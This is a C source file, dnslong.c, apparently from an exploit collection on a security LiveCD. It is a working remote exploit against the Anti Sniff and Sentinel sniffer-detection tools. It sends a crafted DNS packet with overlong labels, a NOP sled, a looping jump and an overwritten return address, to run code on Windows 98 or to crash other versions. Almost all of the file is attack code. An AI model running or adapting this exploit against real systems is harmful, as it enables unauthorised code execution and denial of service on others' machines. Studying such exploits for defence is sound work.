home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / networktools / dnslong.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  107 lines

  1. /* dnslong.c by Hugo Breton (bretonh@pgci.ca)
  2.  
  3.    This program must be run in the DNS test phase of Sentinel and Anti Sniff.
  4.    It illustrates how code can be run remotely on a Win98 machine running Anti
  5.    Sniff.
  6.  
  7.    Suggested arguments are:
  8.    
  9.    "dnslong host 5 65" to send the Windows 98 version of Anti Sniff in an
  10.    infinite loop.
  11.    "dnslong host 2 255" to segfault the oBSD version of Anti Sniff.
  12.    "dnslong host 1 255" to segfault Sentinel.
  13. */
  14.  
  15.  
  16. #include <stdio.h>
  17. #include <string.h>
  18. #include <netdb.h>
  19. #include <sys/socket.h>
  20. #include <sys/types.h>
  21. #include <netinet/in.h>
  22.  
  23. int main(int argc,char * * argv)
  24. {
  25.         char p[1024];
  26.         int sock,i,j,k,len,labelnum,labellen;
  27.         struct sockaddr_in sin;
  28.         struct hostent * hoste;
  29.  
  30.         printf("dnslong.c by Hugo Breton (bretonh@pgci.ca)\n");
  31.  
  32.         if(argc<4)
  33.         {
  34.                 printf("usage: %s host label_count label_length\n",argv[0]);
  35.                 return(0);
  36.         }
  37.  
  38.         bzero((void *) &sin,sizeof(sin));
  39.         sin.sin_family=AF_INET;
  40.         sin.sin_port=htons(53);
  41.  
  42.         if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
  43.         {
  44.                 if((hoste=gethostbyname(argv[1]))==NULL)
  45.                 {
  46.                         printf("unknown host %s\n",argv[1]);
  47.                         return(0);
  48.                 }
  49.                 
  50.                 bcopy(hoste->h_addr,&sin.sin_addr.s_addr,4);
  51.         }
  52.  
  53.         labelnum=atoi(argv[2]);
  54.         labellen=atoi(argv[3]);
  55.  
  56.         len=labelnum*(labellen+1)+5+12;
  57.  
  58.         if(len>1024)
  59.         {
  60.                 printf("resulting packet will be too long\n");
  61.                 return(0);
  62.         }
  63.  
  64.         bzero((void *) p,1024);
  65.         * ((unsigned short *) (p+0))=htons(867-5309);
  66.         * ((unsigned short *) (p+4))=htons(1);
  67.         
  68.         for(i=12,j=0;j<labelnum;j++)
  69.         {
  70.                 * ((unsigned char *) (p+(i++)))=labellen;
  71.  
  72.                 for(k=0;k<labellen;k++,i++)
  73.                 {
  74.                         * ((unsigned char *) (p+i))=0x90;
  75.                 }
  76.                 
  77.                 * ((unsigned char *) (p+i-2))=0xeb; /* jmp $-2 */
  78.                 * ((unsigned char *) (p+i-1))=0xfe; /* just make it loop */
  79.         }
  80.  
  81.         * ((unsigned char *) (p+269))=0x20;
  82.         * ((unsigned char *) (p+270))=0xff;
  83.         * ((unsigned char *) (p+271))=0x87; 
  84.         * ((unsigned char *) (p+272))=0x01; /* new EIP */
  85.  
  86.         * ((unsigned char *) (p+(i++)))=0;
  87.  
  88.         * ((unsigned short *) (p+i))=htons(1);
  89.         * ((unsigned short *) (p+i+2))=htons(1);
  90.  
  91.         if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
  92.         {
  93.                 printf("unable to create UDP socket\n");
  94.                 return(0);
  95.         }
  96.  
  97.         if(sendto(sock,p,len,0,(struct sockaddr *) &sin,sizeof(sin))==-1)
  98.         {
  99.                 printf("unable to send packet\n");
  100.                 return(0);
  101.         }
  102.  
  103.         printf("packet sent to host %s\n",argv[1]);
  104.  
  105.         return(0);
  106. }
  107.